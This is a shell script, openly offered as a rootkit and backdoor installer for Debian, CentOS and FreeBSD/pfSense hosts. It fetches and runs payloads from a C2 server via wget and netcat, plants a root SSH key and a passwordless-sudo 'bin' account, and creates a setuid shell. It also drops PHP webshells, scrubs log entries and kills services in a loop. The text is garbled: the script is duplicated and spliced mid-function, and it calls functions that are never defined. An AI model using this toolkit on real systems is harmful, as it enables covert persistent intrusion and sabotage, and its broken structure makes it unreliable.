Rooting Ubuntu, Centos, Debian, FreeBSD in seconds

#!/bin/sh
# cmc / sapling
# installs rootkit & backdoors on debian/centos/pfsense bsd boxes

# root ssh key
SHARED_PUBKEY="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKcAi3VkTNZOQsLiiPvE8gyThrLzD2w8g1aN4VArx8ksOfVteVRfDtjWVLgLpdbySjaIBXn4WeViqxf1TZ8fq5loN4tcHnFOvtBs30JQ1JktwXqwvZaHomqZGJeP0IHLK9rYsJZnHbyk4u2qgs/vpM3wkhX86ywpDzTo+xTEV+XPuCBP+e7QIDuBM20rXkHEroIssYDjSus9o3issH/u+iguGulJaW534mZ9YiC6ELoDKLpQ0wCgwEjLfg04Tz6L6mKBjkyq86wb5iDo0+5zrY5XKOJB5BiBsvAULBnA3to203ZaGrJWQP1CdPbpOINHkTekoWJt5W40LSD41pE86z"

### CHANGE ME ###
# urls for webserver where kits/backdoor binaries are hosted
# file names to grab

C2_URL="http://172.25.58.142/"
C2_IP="172.25.58.142"

# fedora kit
FEDORA_KIT="fedx32.bin"
FEDORA64_KIT="fedx64.bin"
UBUNTU64_KIT="ubux64.bin"
UBUNTU_KIT="ubux32.bin"
BSD_KIT="hole.bin"
TRIXDOOR="trixd00rd-static-ubuntu"
ROOTY="rooty-release.x86"
ROOTYBSD="rootybsd.x64"

#################

ARCH=`uname -i`

do_backdoors() {
        echo "removing utmp.."
        rm -rf /var/run/utmp
        touch /var/run/utmp
        chmod 664 /var/run/utmp
        echo "installing root ssh key!"
        chattr -i /root/.ssh/authorized*
        if [ ! -d "/root/.ssh" ]; then
            mkdir /root/.ssh
        fi
        echo $SHARED_PUBKEY >> /root/.ssh/authorized_keys2
        echo $SHARED_PUBKEY >> /root/.ssh/authorized_keys
        # add secondary key auth file, for when they inevitably remove /root/.ssh/
        echo $SHARED_PUBKEY >> /etc/ssh/authorized_keys
        echo 'AuthorizedKeysFile /etc/ssh/authorized_keys' >> /etc/ssh/sshd_config
        chattr +i /root/.ssh/authorized_keys*
        echo "dropping trixd00r.."
        if [ ! -d "/dev/..." ]; then
            mkdir /dev/...
        fi
        cd /dev/...
        wget -q $C2_URL$TRIXDOOR -O rsyslogd
        chmod +x rsyslogd
        env PATH=$PWD MANAGER=$C2_IP /usr/bin/nohup rsyslogd &
        echo "dropping rooty.."
        wget -q $C2_URL$ROOTY -O udevd
        chmod +x udevd
        env PATH=$PWD /usr/bin/nohup udevd &
        # uncomment below to do iptables crontab shenanigans
        # echo "adding 5m disable iptables crontab.."
        # echo "*/5 * * * * /sbin/iptables -F" | crontab -
        echo "backdoor bin account! pass=lol123"
        sed -i -e 's/bin:\*:/bin:$6$OkgT6DOT$0fswsID8AwsBF35QHXQVmDLzYGT.pUtizYw2G9ZCe.o5pPk6HfdDazwdqFIE40muVqJ832z.p.6dATUDytSdV0:/g' /etc/shadow
        usermod -s /bin/sh bin
        echo 'bin ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers
        echo 'www-data ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers
        echo 'apache ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers
        echo 'httpd ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers
        groupadd admin
        # take care of logs, ie 'groupadd[31001]: new group: name=admin, GID=1005' in auth.log
        sed -ie "/groupadd/d" /var/log/auth.log /var/log/messages /var/log/secure
        # ubuntu automatically makes members of admin have sudo capabilities.
        # lets give that as an option for root to web backdoors
        usermod -G admin -a bin
        usermod -G admin -a www-data
        usermod -G admin -a httpd
        usermod -G admin -a apache
        # take care of logs, ie 'usermod[31005]: add 'bin' to group 'admin'
        sed -ie "/usermod/d" /var/log/auth.log /var/log/messages /var/log/secure
        echo "setuid /bin/sh! for use with bin account"
        if [ ! -d "/dev/  " ]; then
            mkdir "/dev/  "
        fi
        cp /bin/sh "/dev/  /pwnd"
        chmod 777 "/dev/  /pwnd"
        chown root:root "/dev/  /pwnd"
        chmod u+s "/dev/  /pwnd"
        echo "clearing log entries with our IP.."
        sed -ie "/$C2_IP/d" /var/log/auth.log /var/log/messages /var/log/secure
        sed -ie "/passwd/d" /var/log/auth.log /var/log/messages /var/log/secure
        sed -ie "/Accepted password for bin/d" /var/log/auth.log /var/log/messages /var/log/secure
        sed -ie "/Accepted password for root/d" /var/log/auth.log /var/log/messages /var/log/secure
        echo "dropping webshells.."
        echo '<?php echo shell_exec($_GET['e']); ?>' > /var/www/.src.php
        chmod 777 /var/www/.src.php
        echo '<?php echo shell_exec($_GET['e']); ?>' > /var/www/html/.src.php
        chmod 777 /var/www/html/.src.php
}

do_bsdbackdoors() {
        # this was a quick hack for the pfsense firewalls
        # uses netcat vs wget because wget isnt installed on pfsense
        # by default
        echo "installing root ssh key!"
        if [ ! -d "/root/.ssh" ]; then
            mkdir /root/.ssh
        fi
        echo $PUBKEY >> /root/.ssh/authorized_keys2
        echo $PUBKEY >> /root/.ssh/authorized_keys
        chattr +i /root/.ssh/authorized_keys*
        echo "dropping rooty via netcat.."
        # NOTE: must have listening netcat with 'cat rootybsd.bin|nc -l 1338' on c2 server.
        if [ ! -d "/dev/  " ]; then
            mkdir "/dev/  "
        fi
        cd "/dev/  "
        nc $C2_IP 1338 > udevd
        chmod +x udevd
        env PATH=$PWD /usr/bin/nohup udevd &
        echo "dropping webshells.."
        echo '<?php echo shell_exec($_GET['e']); ?>' > /var/www/.src.php
        chmod 777 /var/www/.src.php
        echo '<?php echo shell_exec($_GET['e']); ?>' > /var/www/html/.src.php
        chmod 777 /var/www/html/.src.php
}


do_centos_rootkit() {
    echo "Retrieving Fedora x86 kit..."
        if [ ! -d "/dev/..." ]; then
            mkdir /dev/...
        fi
    cd /dev/...
    wget -q $C2_URL$FEDORA_KIT
    chmod +x `basename $FEDORA_KIT`
    ./`basename $FEDORA_KIT`
}

do_centos64_rootkit() {
    echo "Retrieving Fedora x64 kit..."
        if [ ! -d "/dev/..." ]; then
            mkdir /dev/...
        fi
    cd /dev/...
    wget -q $C2_URL$FEDORA64_KIT
    chmod +x `basename $FEDORA64_KIT`
    ./`basename $FEDORA64_KIT`
}


do_freebsd64_rootkit() {
    echo "Installing BSD hole.bin.."
    cd /opt/
    # cmc: pfSense / BSD has no wget/curl
    # make sure we have a listening netcat#!/bin/sh
# cmc / sapling
# installs rootkit & backdoors on debian/centos/pfsense bsd boxes

# root ssh key
SHARED_PUBKEY="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKcAi3VkTNZOQsLiiPvE8gyThrLzD2w8g1aN4VArx8ksOfVteVRfDtjWVLgLpdbySjaIBXn4WeViqxf1TZ8fq5loN4tcHnFOvtBs30JQ1JktwXqwvZaHomqZGJeP0IHLK9rYsJZnHbyk4u2qgs/vpM3wkhX86ywpDzTo+xTEV+XPuCBP+e7QIDuBM20rXkHEroIssYDjSus9o3issH/u+iguGulJaW534mZ9YiC6ELoDKLpQ0wCgwEjLfg04Tz6L6mKBjkyq86wb5iDo0+5zrY5XKOJB5BiBsvAULBnA3to203ZaGrJWQP1CdPbpOINHkTekoWJt5W40LSD41pE86z"

### CHANGE ME ###
# urls for webserver where kits/backdoor binaries are hosted
# file names to grab

C2_URL="http://172.25.58.142/"
C2_IP="172.25.58.142"

# fedora kit
FEDORA_KIT="fedx32.bin"
FEDORA64_KIT="fedx64.bin"
UBUNTU64_KIT="ubux64.bin"
UBUNTU_KIT="ubux32.bin"
BSD_KIT="hole.bin"
TRIXDOOR="trixd00rd-static-ubuntu"
ROOTY="rooty-release.x86"
ROOTYBSD="rootybsd.x64"

#################

ARCH=`uname -i`

do_backdoors() {
        echo "removing utmp.."
        rm -rf /var/run/utmp
        touch /var/run/utmp
        chmod 664 /var/run/utmp
        echo "installing root ssh key!"
        chattr -i /root/.ssh/authorized*
        if [ ! -d "/root/.ssh" ]; then
            mkdir /root/.ssh
        fi
        echo $SHARED_PUBKEY >> /root/.ssh/authorized_keys2
        echo $SHARED_PUBKEY >> /root/.ssh/authorized_keys
        # add secondary key auth file, for when they inevitably remove /root/.ssh/
        echo $SHARED_PUBKEY >> /etc/ssh/authorized_keys
        echo 'AuthorizedKeysFile /etc/ssh/authorized_keys' >> /etc/ssh/sshd_config
        chattr +i /root/.ssh/authorized_keys*
        echo "dropping trixd00r.."
        if [ ! -d "/dev/..." ]; then
            mkdir /dev/...
        fi
        cd /dev/...
        wget -q $C2_URL$TRIXDOOR -O rsyslogd
        chmod +x rsyslogd
        env PATH=$PWD MANAGER=$C2_IP /usr/bin/nohup rsyslogd &
        echo "dropping rooty.."
        wget -q $C2_URL$ROOTY -O udevd
        chmod +x udevd
        env PATH=$PWD /usr/bin/nohup udevd &
        # uncomment below to do iptables crontab shenanigans
        # echo "adding 5m disable iptables crontab.."
        # echo "*/5 * * * * /sbin/iptables -F" | crontab -
        echo "backdoor bin account! pass=lol123"
        sed -i -e 's/bin:\*:/bin:$6$OkgT6DOT$0fswsID8AwsBF35QHXQVmDLzYGT.pUtizYw2G9ZCe.o5pPk6HfdDazwdqFIE40muVqJ832z.p.6dATUDytSdV0:/g' /etc/shadow
        usermod -s /bin/sh bin
        echo 'bin ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers
        echo 'www-data ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers
        echo 'apache ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers
        echo 'httpd ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers
        groupadd admin
        # take care of logs, ie 'groupadd[31001]: new group: name=admin, GID=1005' in auth.log
        sed -ie "/groupadd/d" /var/log/auth.log /var/log/messages /var/log/secure
        # ubuntu automatically makes members of admin have sudo capabilities.
        # lets give that as an option for root to web backdoors
        usermod -G admin -a bin
        usermod -G admin -a www-data
        usermod -G admin -a httpd
        usermod -G admin -a apache
        # take care of logs, ie 'usermod[31005]: add 'bin' to group 'admin'
        sed -ie "/usermod/d" /var/log/auth.log /var/log/messages /var/log/secure
        echo "setuid /bin/sh! for use with bin account"
        if [ ! -d "/dev/  " ]; then
            mkdir "/dev/  "
        fi
        cp /bin/sh "/dev/  /pwnd"
        chmod 777 "/dev/  /pwnd"
        chown root:root "/dev/  /pwnd"
        chmod u+s "/dev/  /pwnd"
        echo "clearing log entries with our IP.."
        sed -ie "/$C2_IP/d" /var/log/auth.log /var/log/messages /var/log/secure
        sed -ie "/passwd/d" /var/log/auth.log /var/log/messages /var/log/secure
        sed -ie "/Accepted password for bin/d" /var/log/auth.log /var/log/messages /var/log/secure
        sed -ie "/Accepted password for root/d" /var/log/auth.log /var/log/messages /var/log/secure
        echo "dropping webshells.."
        echo '<?php echo shell_exec($_GET['e']); ?>' > /var/www/.src.php
        chmod 777 /var/www/.src.php
        echo '<?php echo shell_exec($_GET['e']); ?>' > /var/www/html/.src.php
        chmod 777 /var/www/html/.src.php
}

do_bsdbackdoors() {
        # this was a quick hack for the pfsense firewalls
        # uses netcat vs wget because wget isnt installed on pfsense
        # by default
        echo "installing root ssh key!"
        if [ ! -d "/root/.ssh" ]; then
            mkdir /root/.ssh
        fi
        echo $PUBKEY >> /root/.ssh/authorized_keys2
        echo $PUBKEY >> /root/.ssh/authorized_keys
        chattr +i /root/.ssh/authorized_keys*
        echo "dropping rooty via netcat.."
        # NOTE: must have listening netcat with 'cat rootybsd.bin|nc -l 1338' on c2 server.
        if [ ! -d "/dev/  " ]; then
            mkdir "/dev/  "
        fi
        cd "/dev/  "
        nc $C2_IP 1338 > udevd
        chmod +x udevd
        env PATH=$PWD /usr/bin/nohup udevd &
        echo "dropping webshells.."
        echo '<?php echo shell_exec($_GET['e']); ?>' > /var/www/.src.php
        chmod 777 /var/www/.src.php
        echo '<?php echo shell_exec($_GET['e']); ?>' > /var/www/html/.src.php
        chmod 777 /var/www/html/.src.php
}


do_centos_rootkit() {
    echo "Retrieving Fedora x86 kit..."
        if [ ! -d "/dev/..." ]; then
            mkdir /dev/...
        fi
    cd /dev/...
    wget -q $C2_URL$FEDORA_KIT
    chmod +x `basename $FEDORA_KIT`
    ./`basename $FEDORA_KIT`
}

do_centos64_rootkit() {
    echo "Retrieving Fedora x64 kit..."
        if [ ! -d "/dev/..." ]; then
            mkdir /dev/...
        fi
    cd /dev/...
    wget -q $C2_URL$FEDORA64_KIT
    chmod +x `basename $FEDORA64_KIT`
    ./`basename $FEDORA64_KIT`
}


do_freebsd64_rootkit() {
    echo "Installing BSD hole.bin.."
    cd /opt/
    # cmc: pfSense / BSD has no wget/curl
    # make sure we have a listening netcat
    # cat backdoor.bin | nc -v -l 13337
    nc $C2_URL 1337 > /opt/scorebotd
    # chmod 0755 `basename $BSD_KIT`
    # mv `basename $BSD_KIT` /opt/scorebotd
    chmod +x /opt/scorebotd
    nohup /opt/scorebotd &
}
do_ubuntu_rootkit() {
    echo "Retrieving ubuntu x86 kit..."
        if [ ! -d "/dev/..." ]; then
            mkdir /dev/...
        fi
    cd /dev/...
    wget -q $C2_URL$UBUNTU_KIT
    chmod +x `basename $UBUNTU_KIT`
    ./`basename $UBUNTU_KIT`
}


do_ubuntu64_rootkit() {
echo "Retrieving ubuntu x64 kit..."
    if [ ! -d "/dev/..." ]; then
            mkdir /dev/...
    fi
    cd /dev/...
    wget -q $C2_URL$UBUNTU64_KIT
    chmod +x `basename $UBUNTU64_KIT`
    ./`basename $UBUNTU64_KIT`
}

goodbye_sla() {
    cat <<EOF > /usr/share/service.sh
#!/bin/bash
#UMAD?
while [ 0 ]
do
    service httpd stop
    service postfix stop
    service sendmail stop
    service mysql stop
    service webmin stop
        service named stop
        service bind stop
    killall -9 webmin.pl
    killall -9 apache2
        killall -9 httpd
        killall -9 named
    killall -9 mysqld_safe
    killall -9 mysqld
        sleep 10
done
EOF
chmod +x /usr/share/service.sh
nohup /usr/share/service.sh >/dev/null 2>&1 &
}

# 64bit fedora
if [ $ARCH = "x86_64" ] && [ -f "/etc/redhat-release" ]; then
    do_centos64_rootkit
    do_backdoors
fi

# 32bit fedora
if [ $ARCH != "x86_64" ] && [ -f "/etc/redhat-release" ]; then
    do_centos_rootkit
    do_backdoors
        #goodbye_sla
fi


# ubuntu/debian 64bit
if [ $ARCH  = "x86_64" ] && [ -f "/etc/debian_version" ]; then
    do_ubuntu64_rootkit
    do_backdoors
    #goodbye_sla
fi

# ubuntu/debian 32bit (assumed if not 64, whatever)
if [ $ARCH != "x86_64" ] && [ -f "/etc/debian_version" ]; then
    do_ubuntu32_rootkit
    do_backdoors
    #goodbye_sla
fi


# freebsd
if [ `uname`  = 'FreeBSD' ]; then
    do_freebsd64_kit
    do_bsdbackdoors
fi
    # cat backdoor.bin | nc -v -l 13337
    nc $C2_URL 1337 > /opt/scorebotd
    # chmod 0755 `basename $BSD_KIT`
    # mv `basename $BSD_KIT` /opt/scorebotd
    chmod +x /opt/scorebotd
    nohup /opt/scorebotd &
}
do_ubuntu_rootkit() {
    echo "Retrieving ubuntu x86 kit..."
        if [ ! -d "/dev/..." ]; then
            mkdir /dev/...
        fi
    cd /dev/...
    wget -q $C2_URL$UBUNTU_KIT
    chmod +x `basename $UBUNTU_KIT`
    ./`basename $UBUNTU_KIT`
}


do_ubuntu64_rootkit() {
echo "Retrieving ubuntu x64 kit..."
    if [ ! -d "/dev/..." ]; then
            mkdir /dev/...
    fi
    cd /dev/...
    wget -q $C2_URL$UBUNTU64_KIT
    chmod +x `basename $UBUNTU64_KIT`
    ./`basename $UBUNTU64_KIT`
}

goodbye_sla() {
    cat <<EOF > /usr/share/service.sh
#!/bin/bash
#UMAD?
while [ 0 ]
do
    service httpd stop
    service postfix stop
    service sendmail stop
    service mysql stop
    service webmin stop
        service named stop
        service bind stop
    killall -9 webmin.pl
    killall -9 apache2
        killall -9 httpd
        killall -9 named
    killall -9 mysqld_safe
    killall -9 mysqld
        sleep 10
done
EOF
chmod +x /usr/share/service.sh
nohup /usr/share/service.sh >/dev/null 2>&1 &
}

# 64bit fedora
if [ $ARCH = "x86_64" ] && [ -f "/etc/redhat-release" ]; then
    do_centos64_rootkit
    do_backdoors
fi

# 32bit fedora
if [ $ARCH != "x86_64" ] && [ -f "/etc/redhat-release" ]; then
    do_centos_rootkit
    do_backdoors
        #goodbye_sla
fi


# ubuntu/debian 64bit
if [ $ARCH  = "x86_64" ] && [ -f "/etc/debian_version" ]; then
    do_ubuntu64_rootkit
    do_backdoors
    #goodbye_sla
fi

# ubuntu/debian 32bit (assumed if not 64, whatever)
if [ $ARCH != "x86_64" ] && [ -f "/etc/debian_version" ]; then
    do_ubuntu32_rootkit
    do_backdoors
    #goodbye_sla
fi


# freebsd
if [ `uname`  = 'FreeBSD' ]; then
    do_freebsd64_kit
    do_bsdbackdoors
fi